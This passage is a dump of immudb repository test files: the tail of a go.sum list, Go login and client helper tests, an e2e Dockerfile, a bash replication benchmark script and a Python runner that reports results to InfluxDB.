v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8=\ngithub.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=\ngithub.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=\ngithub.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4=\ngithub.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0=\ngithub.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo=\ngithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=\ngithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0=\ngithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ=\ngithub.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74=\ngithub.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y=\ngithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY=\ngithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI=\ngithub.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA=\ngithub.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg=\ngithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M=\ngithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.6.0 h1:L4ZwwTvKW9gr0ZMS1yrHD9GZhIuVjOBBnaKH+SPQK0Q=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g=\ngolang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=\ngolang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=\ngolang.org/x/oauth2 v0.5.0 h1:HuArIo48skDwlrvM3sEdHXElYslAMsf3KwRkkW4MC4s=\ngolang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=\ngolang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M=\ngolang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=\ngoogle.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=\ngoogle.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nmoul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs=\nmoul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE=\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/login_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\tauthorizationClient \"github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestLogin(t *testing.T) {\n\tauthClient := getAuthorizationClient()\n\n\tbadLogin := \"immudbXXX\"\n\tbadPassword := \"immudbXXX\"\n\tbadDatabase := \"defaultdbXXX\"\n\n\tdefaultLogin := \"immudb\"\n\tdefaultPassword := \"immudb\"\n\tdefaultDatabase := \"defaultdb\"\n\tresponse, _ := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{\n\t\tUsername: &badLogin,\n\t\tPassword: &badPassword,\n\t\tDatabase: &badDatabase,\n\t})\n\tassert.True(t, *response.JSONDefault.Message == \"invalid user name or password\")\n\n\tresponse, _ = authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{\n\t\tUsername: &defaultLogin,\n\t\tPassword: &defaultPassword,\n\t\tDatabase: &defaultDatabase,\n\t})\n\tassert.True(t, response.StatusCode() == 200)\n\tassert.True(t, len(*response.JSON200.Token) > 0)\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/testall.sh",
    "content": "go test ./... -v -count=1"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/utils.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/api/httpclient\"\n\n\t\"github.com/google/uuid\"\n)\n\nvar baseURL = GetEnv(\"DOCUMENTS_TEST_BASEURL\", \"http://localhost:8080/api/v2\")\n\nfunc GetEnv(key, defaultValue string) string {\n\tvalue := os.Getenv(key)\n\tif len(value) == 0 {\n\t\treturn defaultValue\n\t}\n\treturn value\n}\nfunc getStandarizedRandomString() string {\n\treturn uuid.New().String()\n}\n\nfunc getClient() *httpclient.ClientWithResponses {\n\tclient, err := httpclient.NewClientWithResponses(baseURL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn client\n}\n\nfunc getAuthorizedClient() *httpclient.ClientWithResponses {\n\tclient := getClient()\n\n\tdefaultLogin := \"immudb\"\n\tdefaultPassword := \"immudb\"\n\tdefaultDatabase := \"defaultdb\"\n\n\tresponse, err := client.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{\n\t\tUsername: &defaultLogin,\n\t\tPassword: &defaultPassword,\n\t\tDatabase: &defaultDatabase,\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif response.StatusCode() != 200 {\n\t\tpanic(\"Could not login\")\n\t}\n\n\tauthClient, err := httpclient.NewClientWithResponses(\n\t\tbaseURL,\n\t\thttpclient.WithRequestEditorFn(\n\t\t\tfunc(ctx context.Context, req *http.Request) error {\n\t\t\t\treq.Header.Set(\"sessionid\", *response.JSON200.SessionID)\n\t\t\t\treturn nil\n\t\t\t},\n\t\t),\n\t)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn authClient\n}\n\nfunc createCollection(collectionName string, client *httpclient.ClientWithResponses) error {\n\treq := httpclient.CollectionCreateJSONRequestBody{\n\t\tName: &collectionName,\n\t}\n\n\tresponse, err := client.CollectionCreateWithResponse(context.Background(), req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif response.StatusCode() != 200 {\n\t\treturn fmt.Errorf(\"no 200 response: %d\", response.StatusCode())\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "test/e2e/.gitignore",
    "content": "bin\ninclude\nlib\nlib64\npyvenv.cfg\nshare\nresult.xml\n"
  },
  {
    "path": "test/e2e/Dockerfile",
    "content": "FROM golang:1.24\nRUN apt-get update && apt-get install -y netcat patch\n\nWORKDIR /src/immudb\nCOPY go.mod go.sum /src/\nRUN go mod download -x\nCOPY . .\nRUN rm -rf /src/webconsole/dist && patch -Np1 < test/e2e/t0.patch\nRUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-static\nRUN GOOS=linux GOARCH=amd64 go build -C test/e2e/truncation\n\nWORKDIR /src\nRUN git clone https://github.com/codenotary/immudb-tools.git /src/tools\nRUN GOOS=linux GOARCH=amd64 go build -C /src/tools/stresser2\n"
  },
  {
    "path": "test/e2e/replication/replic.sh",
    "content": "#!/bin/bash\n\nPRIMARY_ADDR=127.71.17.10\nREPLICA_ADDR=127.71.17.11\nSTRESS_APPLICATION=../immudb-tools/stresser2/stresser2\nDB=repl\nDATADIR=/tmp/immudb\nIMMUDB=./immudb\nIMMUADMIN=./immuadmin\nIMMUCLIENT=./immuclient\nSIZE=500\nSYNC_OPTION_PRIMARY=()\nSYNC_OPTION_REPLICA=()\nBATCHSIZE=100\nWORKERS=10\n\nusage () {\ncat <<EOF\nUsage: $0 [ options ]\nOptions:\n\t-s size [default $SIZE]\n\t-c immuclient_binary [default $IMMUCLIENT]\n\t-a immuadmin_binary [default $IMMUADMIN]\n\t-i immudb_binary [default $IMMUDB]\n\t-d data directory path [default $DATADIR]\n\t-x stress_application [default $STRESS_APPLICATION]\n\t-P primary_address [default $PRIMARY_ADDR]\n\t-R replica_address [default $REPLICA_ADDR]\n\t-D database_name [default $DB]\n\t-S synchronous\nEOF\nexit 1\n}\nwhile getopts \"s:c:a:i:d:x:P:R:D:Sh\" opt; do\n\tcase \"${opt}\" in\n\ts)\n\t\tSIZE=${OPTARG}\n\t\t;;\n\tc)\n\t\tIMMUCLIENT=${OPTARG}\n\t\t;;\n\ta)\n\t\tIMMUADMIN=${OPTARG}\n\t\t;;\n\ti)\n\t\tIMMUDB=${OPTARG}\n\t\t;;\n\td)\n\t\tDATADIR=${OPTARG}\n\t\t;;\n\tx)\n\t\tSTRESS_APPLICATION=${OPTARG}\n\t\t;;\n\tP)\n\t\tPRIMARY_ADDR=${OPTARG}\n\t\t;;\n\tR)\n\t\tREPLICA_ADDR=${OPTARG}\n\t\t;;\n\tD)\n\t\tDB=${OPTARG}\n\t\t;;\n\tS)\n\t\tSYNC_OPTION_PRIMARY=(\"--replication-sync-acks\" \"1\" \"--replication-sync-enabled\")\n\t\tSYNC_OPTION_REPLICA=(\"--replication-sync-enabled\")\n\t\t;;\n\t*) usage\n\t\t;;\n\tesac\ndone\n\nPRIMARY_OPTS=(--max-commit-concurrency 1000 --sync-frequency 5ms --write-buffer-size 16777216)\nREPLICA_OPTS=(--sync-frequency 5ms --write-buffer-size 16777216 --max-commit-concurrency 1000 --replication-prefetch-tx-buffer-size 100 --replication-commit-concurrency 100 --replication-skip-integrity-check)\n\nmkdir -p $DATADIR\nrm -rf $DATADIR/*\n\n$IMMUDB --dir $DATADIR/primary_data -a $PRIMARY_ADDR 2>/dev/null &\nPRIMARY_PID=$!\n\nwhile ! nc -z $PRIMARY_ADDR 3322\ndo\n  echo \"Waiting primary\"\n  sleep 1\ndone\n\n$IMMUDB --dir $DATADIR/replica_data -a $REPLICA_ADDR 2>/dev/null &\nREPLICA_PID=$!\n\nwhile ! nc -z $PRIMARY_ADDR 3322\ndo\n  echo \"Waiting replica\"\n  sleep 1\ndone\n\necho -n \"immudb\" | $IMMUADMIN login -a $PRIMARY_ADDR immudb\n$IMMUADMIN -a $PRIMARY_ADDR database create $DB ${SYNC_OPTION_PRIMARY[@]} ${PRIMARY_OPTS[@]}\n\necho -n \"immudb\" | $IMMUADMIN login -a $REPLICA_ADDR immudb\n$IMMUADMIN -a $REPLICA_ADDR database create $DB \\\n  --replication-is-replica \\\n  --replication-primary-database $DB \\\n  --replication-primary-host $PRIMARY_ADDR \\\n  --replication-primary-password immudb \\\n  --replication-primary-port 3322 \\\n  --replication-primary-username immudb \\\n  ${SYNC_OPTION_REPLICA[@]} \\\n  ${REPLICA_OPTS[@]}\n\necho \"Launching $STRESS_APPLICATION\"\n\nT0=`date +%s`\n$STRESS_APPLICATION -addr $PRIMARY_ADDR -write-speed 0 -read-workers 0 -write-batchnum $SIZE -write-workers $WORKERS -db $DB -batchsize $BATCHSIZE\nT1=`date +%s`\n\ntxid() {\nADDR=$1\n$IMMUCLIENT login -a $ADDR --username immudb --password immudb > /dev/null 2>/dev/null\n$IMMUCLIENT status -a $ADDR --username immudb --password immudb --database repl | awk '/^txID/{print $2}'\n}\n\nTX1=$(txid $PRIMARY_ADDR)\nTX2=$(txid $REPLICA_ADDR)\necho \"Replication in progress ($TX1 / $TX2)\"\nwhile [ \"$TX1\" != \"$TX2\" ]\ndo\necho \"waiting replica ($TX1 / $TX2)\"\nsleep 0.5\nTX2=$(txid $REPLICA_ADDR)\ndone\n\nT2=`date +%s`\n\nkill $PRIMARY_PID\nkill $REPLICA_PID\n\necho \"RESULT: Elapsed: $((T2-T0)) seconds, $((T1-T0)) for inserting, $((T2-T1)) for sync\"\necho \"RESULT: Total KV: $((SIZE*WORKERS*BATCHSIZE)), Total TX $(($WORKERS*BATCHSIZE))\"\necho \"RESULT: Total KV/s: $(( (SIZE*WORKERS*BATCHSIZE)/(T2-T0) )), Total TX/s $(( (SIZE*WORKERS)/(T2-T0) ))\"\n"
  },
  {
    "path": "test/e2e/replication/run.sh",
    "content": "#!/bin/sh\ncd \"$(dirname \"$0\")\"\nBASE=/src/immudb\n./replic.sh -x /src/tools/stresser2/stresser2 -a $BASE/immuadmin -i $BASE/immudb -c $BASE/immuclient\n"
  },
  {
    "path": "test/e2e/requirements.txt",
    "content": "certifi==2024.7.4\ninfluxdb-client==1.36.0\npkg-resources==0.0.0\npython-dateutil==2.8.2\nreactivex==4.0.4\nsix==1.16.0\ntyping-extensions==4.5.0\nurllib3==2.6.3\n"
  },
  {
    "path": "test/e2e/runtests.py",
    "content": "#!/usr/bin/env python3\nimport subprocess,sys,logging, time, string, os, re\nimport xml.etree.ElementTree as ET\nimport xml.sax.saxutils as saxutils\nimport influxdb_client\n\nTAG=\"bla\"\nlogging.basicConfig(\n\tformat='%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(message)s', level=logging.INFO\n\t)\n\ndef build_docker():\n\tlogging.info(\"Building docker\")\n\tt0=time.time()\n\tresult=subprocess.run(\n\t\t[\"docker\", \"build\", \"-f\", \"Dockerfile\", \"../..\", \"-t\", TAG],\n\t\tcapture_output=True, text=True\n\t\t)\n\tif result.returncode!=0:\n\t\tlogging.error(\"Docker build failure: %s\", result.stderr)\n\t\treturn False, time.time()-t0\n\treturn True, time.time()-t0\n\ndef cleanup(s):\n\tret=\"\"\n\tfor c in s:\n\t\tif c in string.printable:\n\t\t\tret=ret+c\n\treturn saxutils.escape(ret)\n\ndef replication(ts, stats):\n\tlogging.info(\"Starting replication test\")\n\txmlresult = ET.SubElement(ts, 'testcase', name=\"replication\")\n\tt0=time.time()\n\tresult=subprocess.run(\n\t\t[\"docker\", \"run\", \"--tty\", \"--rm\", \"--entrypoint\", \"/src/immudb/test/e2e/replication/run.sh\", TAG],\n\t\tcapture_output=True, text=True\n\t\t)\n\tfor l in result.stdout.split(\"\\n\")[-5:]:\n\t\tlogging.info(\"replication result: %s\", l)\n\t\tm = re.match(r'RESULT: Total KV/s: (?P<kv>\\d+), Total TX/s (?P<tx>\\d+)',l)\n\t\tif m is not None:\n\t\t\tstats['replication_kvs']=m.group('kv')\n\t\t\tstats['replication_txs']=m.group('tx')\n\tET.SubElement(xmlresult, \"system-out\").text=cleanup(result.stdout)\n\tET.SubElement(xmlresult, \"system-err\").text=cleanup(result.stderr)\n\txmlresult.set(\"time\", str(time.time()-t0))\n\tif result.returncode!=0:\n\t\tlogging.error(\"Docker replication test: %s\", result.stderr)\n\t\txmlresult.set(\"status\", \"failure\")\n\t\tET.SubElement(xmlresult, \"failure\", message=\"Test failed\")\n\t\treturn False\n\txmlresult.set(\"status\", \"success\")\n\treturn True\n\ndef truncation(ts, stats):\n\tlogging.info(\"Starting truncation test\")\n\txmlresult = ET.SubElement(ts, 'testcase', name=\"truncation\")\n\tt0=time.time()\n\n\tresult=subprocess.run(\n\t\t[\"docker\", \"run\", \"--tty\", \"--rm\", \"--entrypoint\", \"/src/immudb/test/e2e/truncation/run.sh\", TAG],\n\t\tcapture_output=True, text=True\n\t\t)\n\tET.SubElement(xmlresult, \"system-out\").text=cleanup(result.stdout)\n\tET.SubElement(xmlresult, \"system-err\").text=cleanup(result.stderr)\n\txmlresult.set(\"time\", str(time.time()-t0))\n\n\tif result.returncode!=0:\n\t\tlogging.error(\"Docker truncation test: %s\", result.stderr)\n\t\txmlresult.set(\"status\", \"failure\")\n\t\tET.SubElement(xmlresult, \"failure\", message=\"Test failed\")\n\telse:\n\t\txmlresult.set(\"status\", \"success\")\n\tret=False\n\tfor l in result.stdout.split(\"\\n\")[-5:]:\n\t\tif \"OK:\" in l:\n\t\t\tret=True\n\t\tlogging.info(\"truncation result: %s\", l)\n\treturn ret\n\nif not build_docker():\n\tsys.exit(1)\n\nroot=ET.Element('testsuites')\ntree=ET.ElementTree(root)\nts = ET.SubElement(root, 'testsuite', name=\"e2e\")\nerr=0\nstats={}\nfor test in (replication, truncation):\n\tif not test(ts,stats):\n\t\terr=err+1\nts.set(\"errors\",str(err))\nET.dump(tree)\ntree.write(\"result.xml\")\n\nif all(map(os.getenv,[\"INFLUX_TOKEN\", \"INFLUX_ORG\", \"INFLUX_BUCKET\", \"INFLUX_ORG\"])):\n\t# here all env variable are set\n\tlogging.info(\"Sending data to influxdb\")\n\torg=os.getenv(\"INFLUX_ORG\")\n\ttoken=os.getenv(\"INFLUX_TOKEN\")\n\turl=os.getenv(\"INFLUX_URL\")\n\tbucket=os.getenv(\"INFLUX_BUCKET\")\n\tjobname=os.getenv(\"JOB_NAME\",\"none\")\n\tclient = influxdb_client.InfluxDBClient(url=url, token=token, org=org )\n\trepl_time=float(tree.findall('./testsuite/testcase[@name=\"replication\"]')[0].attrib['time'])\n\trepl_status=tree.findall('./testsuite/testcase[@name=\"replication\"]')[0].attrib['status']\n\ttrunc_time=float(tree.findall('./testsuite/testcase[@name=\"truncation\"]')[0].attrib['time'])\n\ttrunc_status=tree.findall('./testsuite/testcase[@name=\"truncation\"]')[0].attrib['status']\n\tp = influxdb_client.Point(\"immudb-replication-truncation\") \\\n\t\t.tag(\"job\", jobname) \\\n\t\t.field(\"replication_time\", repl_time) \\\n\t\t.field(\"replication_status\", repl_status) \\\n\t\t.field(\"truncation_time\", trunc_time) \\\n\t\t.field(\"truncation_status\", trunc_status)\n\tfor s in stats:\n\t\tp.field(s, stats[s])\n\twith client.write_api(\n\t\twrite_options=influxdb_client.client.write_api.SYNCHRONOUS\n\t\t) as write_api:\n\t\twrite_api.write(bucket=bucket, org=org, record=p)\n\tlogging.info(\"Sent\")\n\n"
  },
  {
    "path": "test/e2e/runtests.sh",
    "content": "#!/bin/sh\n\ntest -f bin/activate || python3 -mvenv .\n./bin/pip install -qr requirements.txt\n./bin/python3 runtests.py\n"
  },
  {
    "path": "test/e2e/t0.patch",
